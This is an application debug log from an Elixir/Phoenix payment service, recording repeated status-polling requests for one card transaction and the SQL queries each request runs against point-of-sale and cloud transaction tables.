SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:29.935000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34728] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1120.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:29.939000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34728] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1121.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:29.939000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34728] QUERY OK source="cloud_transaction" db=0.4ms idle=1124.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:29.940000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34728] Sent 200 in 20ms
[Thu Sep  3 10:04:34.918000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34736] POST /api/device/status
[Thu Sep  3 10:04:34.919000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34736] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:34.919000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34736] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:34.919000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34736] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:34.933000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34736] QUERY OK source="pos_transaction" db=13.6ms queue=0.1ms idle=1104.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:34.934000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34736] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1118.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:34.938000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34736] QUERY OK source="pos_failed_transaction" db=4.1ms idle=1119.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:34.939000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34736] QUERY OK source="cloud_transaction" db=0.5ms idle=1124.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:34.940000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34736] Sent 200 in 21ms
[Thu Sep  3 10:04:39.887000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60000] POST /api/device/status
[Thu Sep  3 10:04:39.887000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:60000] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:39.887000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60000] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:39.887000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60000] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:39.901000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60000] QUERY OK source="pos_transaction" db=13.3ms idle=1072.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:39.902000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60000] QUERY OK source="pos_temp_transaction" db=0.8ms queue=0.1ms idle=1086.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:39.905000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60000] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1087.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:39.906000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60000] QUERY OK source="cloud_transaction" db=0.5ms idle=1090.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:39.906000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60000] Sent 200 in 19ms
[Thu Sep  3 10:04:44.930000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60002] POST /api/device/status
[Thu Sep  3 10:04:44.930000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:60002] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:44.931000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60002] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:44.931000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60002] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:44.943000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60002] QUERY OK source="pos_transaction" db=12.0ms idle=1114.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:44.944000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60002] QUERY OK source="pos_temp_transaction" db=0.8ms idle=1127.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:44.949000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60002] QUERY OK source="pos_failed_transaction" db=3.9ms idle=1128.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:44.950000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60002] QUERY OK source="cloud_transaction" db=0.5ms idle=1132.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:44.950000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60002] Sent 200 in 19ms
[Thu Sep  3 10:04:49.875000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57978] POST /api/device/status
[Thu Sep  3 10:04:49.875000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57978] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:49.875000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57978] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:49.876000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57978] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:49.889000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57978] QUERY OK source="pos_transaction" db=12.3ms queue=0.1ms idle=1059.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:49.889000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57978] QUERY OK source="pos_temp_transaction" db=0.3ms idle=1072.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:49.892000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57978] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1073.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:49.893000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57978] QUERY OK source="cloud_transaction" db=0.6ms idle=1076.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
